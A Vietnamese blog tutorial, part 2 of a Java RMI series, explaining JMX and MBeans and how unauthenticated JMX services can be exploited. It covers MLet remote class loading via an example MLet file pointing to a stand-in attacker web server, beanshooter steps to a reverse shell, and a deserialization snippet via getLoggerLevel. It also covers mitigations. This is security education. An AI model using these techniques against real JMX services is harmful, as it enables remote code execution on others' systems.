+2

Java RMI Phần 2 - Khai thác JMX service dựa trên RMI

Trong phần 1, mình đã đi qua kiến thức cơ bản về RMI và các cách khai thác, bạn đọc có thể tìm hiểu thêm tại đây.

Mặc dù RMI thường không còn được sử dụng để phát triển các ứng dụng mới, nhưng nó vẫn là công nghệ tiêu chuẩn được sử dụng để cho phép remote monitoring thông qua Java Management Extensions (JMX). Do vậy, trong phần 2 mình sẽ thực hiện phân tích về khai thác Deserialization trong JMX service dựa trên RMI.

1. JMX, MBean và JMX Connector

1.1. Khái niệm JMX và MBean

Java Management Extensions (JMX) là một công nghệ trong Java cung cấp các công cụ quản lý application, system object, device (như printer) và service-oriented network. Những tài nguyên đó được gọi là MBean (Managed Bean). MBean là một Java Bean class follow theo một rule design nhất định của JMX standard. Một MBean có thể đại diện cho một thiết bị, ứng dụng hoặc bất kỳ tài nguyên nào cần được quản lý qua JMX. Chúng ta có thể truy cập các MBean này thông qua JMX, truy vấn các thuộc tính và gọi các phương thức Bean.

Có các tiêu chuẩn JMX khác nhau giữa các loại MBean khác nhau, tuy nhiên ta sẽ chỉ đề cập đến các MBean cơ bản trong bài viết này.

Để trở thành một MBean hợp lệ, một class Java phải:

  • Implement một Interface
  • Có một default constructor (không có argument)
  • Thực hiện theo các quy ước đặt tên nhất định, ví dụ triển khai các phương thức getter/setter để read/write các thuộc tính

1.2. Khởi tạo MBean

Nếu chúng ta muốn tạo một MBean riêng, trước tiên chúng ta cần có một interface. Đây là một interface cơ bản

image.png

Một implementation của HelloMBean như sau:

image.png

Như vậy là ta đã có một MBean tên là Hello.

MBean server là một service quản lý các MBean của hệ thống. Developer có thể register các MBean trong server theo một naming pattern cụ thể. MBean server sẽ forward incoming message tới các MBean đã được đăng ký. Service cũng hoàn toàn có thể gửi lại các message từ các MBean tới thành phần bên ngoài.

Theo mặc định, tất cả các Java process sẽ có một MBean service đang chạy, chúng ta có thể access bằng ManagementFactory.getPlatformMBeanServer();.

Ví dụ sau sẽ connect tới MBean Server của current process và in ra toàn bộ các MBean đã được register:

image.png

Trong đoạn code trên, ta connect tới MBean Server, search các object có package là * và type là * (nghĩa là toàn bộ Object trong MBean Server) và print chúng. Kết quả

image.png

Nếu chúng ta muốn tạo ra một MBean mới, ta sẽ phải đăng ký một ObjectName. Mỗi MBean yêu cầu một tên riêng tuân theo quy ước object name convention. Tên được tách thành tên package và object name. Phần type property cho biết kiểu của object đó. Nếu chỉ có một instance của một type trong 1 package thì thường không có bất kỳ thuộc tính khóa nào khác ngoài type.

Ta sẽ đăng ký một MBean mới với mã như sau:

image.png

Lúc này khi run MBeanExample, ta sẽ thấy có thêm 1 MBean mới đã đăng ký:

image.png

1.3. JMX Connector

Cho đến bây giờ chúng ta mới chỉ connect tới instance trên local của MBean Server. Để connect tới remote server, ta phải sử dụng JMX Connector. JMX Connector về cơ bản là một triển khai của client/server stub, cung cấp khả năng connect tới remote MBean server. Nó được thực hiện bằng cách follow theo chuẩn Remote Procedure Call (RPC).

Theo mặc định JMX Connector dựa trên RMI. Ta có thể enable JMX bằng cách thêm các argument sau:

-Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false

Thực hiện run một jar file với argument như trên, port 2222, nmap được kết quả:

image.png

Ngoài JMX Connector thì có tồn tại JMX Adaptor khá tương tự với JMX Connector, nhưng cung cấp những cách thức để connect và nhận data theo dạng HTML, JSON,... thông qua HTTP, thường sử dụng khi client hoặc server không sử dụng Java. Lúc này Java Adaptor hoạt động như một cầu nối, nhưng cũng có nhược điểm đó là không thể invoke các method tùy ý của MBean.

2. Khai thác JMX Service

2.1. Remote Code Execution thông qua MLet MBean

Theo Oracle document, tác hại có thể xảy ra không giới hạn đối với các hoạt động được định nghĩa trong MBean. Remote client có thể khởi tạo một javax.management.loading.MLet MBean và sử dụng nó để tạo các MBean bất kì từ một URL bất kì, ít nhất là khi không có một biện pháp bảo mật nào. Nói cách khác, 1 remote client có thể khiến Java app chạy command tùy ý.

Cụm từ MLet là viết tắt của management applet và cho phép chúng ta đăng ký một hoặc một số MBean trong máy chủ MBean đến từ một remote URL. MLet là một file cấu trúc giống HTML có thể được cung cấp trên một máy chủ web, ví dụ như:

<html><mlet code="com.test.MaliciousMLet" archive="maliciousMlet.jar" name="MaliciousMLet:name=payload" codebase="http://attackerwebserver"></mlet></html>

Kẻ tấn công có thể lưu trữ tệp MLet như trên và khiến JMX service tải MBean từ máy chủ từ xa. Quá trình attack diễn ra theo các bước:

  • Khởi chạy một web server lưu trữ MLet và Jar file với malicious MBean
  • Tạo một instance của MBean javax.management.loading.MLet trên server mục tiêu sử dụng JMX
  • Invoke method getMBeansFromURL của MBean instance với malicous web server là tham số. JMX service sẽ connect tới http server và parse MLet file
  • JMX service sẽ download và load file Jar đã được tham chiếu trong MLet file, cung cấp MBean độc hại thông qua JMX service
  • Attacker thực hiện invoke method của MBean độc hại.

Các bước tuy khá phức tạp nhưng cũng có sẵn những công cụ giúp chúng ta thực hiện điều đó, trong đó có beanshooter

Kiểm tra localhost port 2222, phát hiện 1 JMX service unauthenticate

image.png

Tiếp theo, load 1 MBean tên là TonkaBean từ MLetTonkaBean

image.png

Sau khi enum lại, kết quả xuất hiện thêm 2 action mới (2 MBean mới là MBean chúng ta đã load):

image.png

Trong TonkaBean đã có method để thực hiện reverse shell là hàm shellInit(). Cuối cùng, sử dụng tonka shell để có reverse shell

image.png

Cách thức exploit hoạt động hiệu quả khi đạt được 2 điều kiện:

  • JMX server có thể kết nối với HTTP server do kẻ tấn công kiểm soát. Điều này là cần thiết để tải MBean độc hại lên máy chủ mục tiêu.
  • JMX Server authentication không được bật.

Enable authentication không những có thể bảo vệ JMX Server thông qua username/password, nó còn kích hoạt một Access Controller, trong đó check property jmx.remote.x.mlet.allow.getMBeansFromURL = false theo mặc định, như vậy server sẽ không load 1 MLet từ remote HTTP Server

image.png

Do đó, kỹ thuật này không thể được sử dụng đối với các dịch vụ JMX có xác thực, ngay cả khi kẻ tấn công có username/password. Để nó có thể bị khai thác, admin phải định cấu hình jmx.remote.x.mlet.allow.getMBeansFromURL=true, điều này rất khó xảy ra.

Bởi vì hầu hết các administrator/developer không hề biết tới tính năng load remote MLet MBean, họ chỉ coi JMX như một công cụ monitor nên thường không bật authentication cho nó, vì vậy trong thực tế, khả năng bị khai thác vẫn là rất lớn.

2.2. Remote Code Execution thông qua Deserialization

2.2.1. Deserialize thông qua RMI

JMX dựa trên RMI và cũng dựa trên Java Deserialization, vì vậy nó mang tất cả đặc điểm của RMI, theo phần 1 chúng ta đã phân tích về cách khai thác RMI.

Nó yêu cầu 1 valid gadget trong classpath, không giống với MLet.

2.2.2 Deserialization thông qua JMX/MBean

Khi không thể khai thác thông qua RMI, ta vẫn có thể khai thác thông qua cơ chế củ JMX/MBean mà cũng khá tương đồng với phương thức đã phân tích ở bài trước.

Nếu như trong số các MBean có 1 phương thức để truyền Object, ta có thể gọi phương thức đó với 1 valid gadget.

Đối với MBean, không cần quá khắt khe khi method phải có argument là Object, vì JMX cho phép gửi Object khi có argument là String.

Có một method mặc định trong JMX MBean, đó là java.util.logging.Logging#getLoggerLevel chấp nhận String làm tham số.

Tuy nhiên thay vì gửi một string, attacker có thể gửi một object. JMX thực hiện điều này khá dễ dàng vì phương thức MBeanServerConnection.invoke được sử dụng để gọi phương thức remote MBean, yêu cầu truyền hai mảng, một mảng có argument và mảng còn lại có argument signature.

ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
            
    // Create operation's parameter and signature arrays      
    Object  opParams[] = {
        "TEST",
    };
                
    String  opSig[] = { 
        String.class.getName()
    };

    // Invoke operation
    mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", opParams, opSig);

Như vậy. nếu trong opParams là một malicious object, nó sẽ thực hiện deserialize.

Chain này cũng đã được add vào trong ysoserial https://github.com/frohoff/ysoserial/pull/111/commits/17085eb804ab65da5f15971c138d7f0137e93578

Phần 2 cũng khá dài và sẽ kết thúc tại đây.

Trong phần 3, mình sẽ đi vào phương pháp bypass JEP 290 để bypass whitelist deserialization của tác giả An Trịnh.

Tài liệu tham khảo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí